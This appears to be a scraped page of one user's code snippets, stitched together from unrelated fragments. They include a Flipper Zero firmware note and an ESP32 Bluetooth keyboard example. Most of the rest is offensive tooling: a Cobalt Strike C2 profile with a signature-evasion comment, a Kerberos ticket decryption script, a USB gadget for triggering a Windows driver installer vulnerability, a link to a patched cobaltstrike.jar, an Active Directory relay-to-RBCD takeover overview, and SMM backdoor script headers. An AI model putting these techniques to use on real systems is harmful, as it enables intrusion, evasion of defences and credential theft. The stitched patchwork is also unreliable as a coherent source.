jermainlaforce

(Adapted from Nano's original messages in the Unleashed firmware Discord.)

Flipper Zero firmware differences

:: Last updated May 2nd 2022. ::

This document will (hopefully) maintain a list of differences between various forks of the Flipper Zero firmware.
If I had a dollar for every time I've seen this question asked, I wouldn't be in college debt. ¯\_(ツ)_/¯
Also consider checking out my Awesome Flipper Zero repo, and my

jermainlaforce

# in addition to the profile, a stage0 loader is also required (default generated payloads are caught by signatures)
# as stage0, remote injecting a thread into a suspended process works

set host_stage "false";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62";
set sleeptime "10000";

stage {
  set allocator "MapViewOfFile";
  set name "notevil.dll";

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#!/usr/bin/env python3
# NOTE: this script was created for educational purposes to assist learning about kerberos tickets.  
#   Likely to have a few bugs that cause it to fail to decrypt some TGT or Service tickets.
#
# Recommended Instructions:
#   Obtain valid kerberos tickets using Rubeus or mimikatz "sekurlsa::tickets /export"
#   Optionally convert tickets to ccache format using kekeo "misc::convert ccache <ticketName.kirbi>"
#   Obtain appropriate aes256 key using dcsync (krbtgt for TGT or usually target computer account for Service Ticket)
#   Run this script to decrypt:
#     ./decryptKerbTicket.py -k 5c7ee0b8f0ffeedbeefdeadbeeff1eefc7d313620feedbeefdeadbeefafd601e -t ./Administrator@TESTLAB.LOCAL_krbtgt~TESTLAB.LOCAL@TESTLAB.LOCAL.ccaches 

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ESP32 as Bluetooth Keyboard

With its built-in Bluetooth capabilities, the ESP32 can act as a Bluetooth keyboard. The below code is a minimal example of how to achieve it. It will generate the key strokes for a message whenever a button attached to the ESP32 is pressed.

For the example setup, a momentary button should be connected to pin 2 and to ground. Pin 2 will be configured as an input with pull-up.

In order to receive the message, add the ESP32 as a Bluetooth keyboard of your computer or mobile phone:

1. Go to your computers/phones settings
2. Ensure Bluetooth is turned on

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# MINIMAL USB gadget setup using CONFIGFS for simulating Razer Gaming HID
# devices for triggering the vulnerable Windows Driver installer
# credits for the Windows Driver install vuln: @j0nh4t
#
# https://twitter.com/j0nh4t/status/1429049506021138437
# https://twitter.com/an0n_r0/status/1429263450748895236
#

# the script was developed & tested on Android LineageOS 18.1

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http://transfer.sh3ll.me/K3wEk/cobaltstrike.jar.patch

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Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

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#!/usr/bin/env python

import sys, os, platform, ctypes, ctypes.wintypes
from struct import pack, unpack

import smm_backdoor as bd


# MSR register used by swapgs
IA32_KERNEL_GS_BASE = 0xc0000102

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#!/usr/bin/env python

import sys, os, time, platform, ctypes
from struct import pack, unpack
from optparse import OptionParser, make_option

import smm_backdoor as bd

# how many seconds to wait for VM exit occur
VM_EXIT_WAIT = 3

jermainlaforce

import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)